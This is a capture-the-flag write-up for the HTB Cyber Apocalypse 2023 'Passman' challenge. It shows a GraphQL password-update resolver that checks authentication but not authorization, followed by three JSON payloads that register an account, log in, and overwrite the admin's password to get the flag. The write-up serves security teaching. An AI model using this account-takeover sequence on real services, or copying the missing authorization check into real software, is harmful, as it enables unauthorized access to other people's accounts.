Post

Passman

Write Up For HTB Cyber Apocalypse CTF 2023 Misc challenge Passman

Passman

Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?


Overview

To begin, we first take a look at the website itself. Running the provided Docker image allows us to interact with the website. Upon accessing the website, we are greeted with a login screen. Additionally, there is a registration screen available. I make sure to take notes of these features and then proceed to inspect the source code.

The source code reveals that the application is built using Node.js, GraphQL, and SQL. By examining the entrypoint.sh file, which is executed when starting the Docker container, I gain insight into the underlying database structure. By looking at this file, It becomes evident that there is an password manager stores various passwords, including the flag, under the “admin” user’s account.

Here’s an example of the flag being stored in the password manager:

1
2
3
INSERT INTO passman.saved_passwords (owner, type, address, username, password, note)
VALUES
    ('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),

With this information, our primary objective becomes clear: we need to log in as the “admin” user.

Identifying a Vulnerability

To find a potential vulnerability, I spend some time exploring different avenues. I consider possible vulnerabilities in the packages used, potential SQL injection, or any other low-hanging fruit. Eventually, I discover a promising vulnerability in the code responsible for updating passwords.

Within the challenge\helpers\GraphqlHelper.js file, we find the following code snippet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const mutationType = new GraphQLObjectType({
    name: 'Mutation',
    fields: {
        UpdatePassword: {
            type: ResponseType,
            args: {
                username: { type: new GraphQLNonNull(GraphQLString) },
                password: { type: new GraphQLNonNull(GraphQLString) }
            },
            resolve: async (root, args, request) => {
                return new Promise((resolve, reject) => {
                    if (!request.user) return reject(new GraphQLError('Authentication required!'));

                    db.updatePassword(args.username, args.password)
                        .then(() => resolve(response("Password updated successfully!")))
                        .catch(err => reject(new GraphQLError(err)));
                });
            }
        },
    },
});

This code confirms that users can update their passwords if they are authenticated. However, the crucial point is that it only checks for authentication and not for authorization. Consequently, any user can update the login information of any other user, provided they know the target user’s username and the user is currently logged in.

Solving the Challenge

To solve this challenge, we need to follow a specific sequence of steps:

  1. Create an account: We make a POST request to /graphql with the following JSON payload:
1
2
3
4
5
6
7
8
{
    "query": "mutation($email: String!, $username: String!, $password: String!) { RegisterUser(email: $email, username: $username, password: $password) { message } }",
    "variables": {
        "email": "a",
        "username": "a",
        "password": "a"
    }
}

This creates a user account for us.

  1. Log in to obtain the session cookie: We make another POST request to /graphql with the following JSON payload:
1
2
3
4
5
6
7
{
    "query": "mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }",
    "variables": {
        "username": "a",
        "password": "a"
    }
}

By logging in, we acquire the session information in the form of a cookie.

  1. Use the acquired cookie to change the admin’s password: We make a final POST request to /graphql with the following JSON payload:
1
2
3
4
5
6
7
{
    "query": "mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }",
    "variables": {
        "username": "admin",
        "password": "a"
    }
}

Utilizing the obtained cookie, we update the password of the “admin” user.

Once we have successfully gained access to the admin account, we can log in and retrieve the flag.

1
HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}

Successfully Got The Flag

Conclusion

In conclusion, the “Passman” challenge required us to exploit a vulnerability that allowed unauthorized users to update passwords of any user account. By leveraging this vulnerability, we gained access to the admin account, which enabled us to retrieve the master control password and obtain the flag.

This post is licensed under CC BY 4.0 by the author.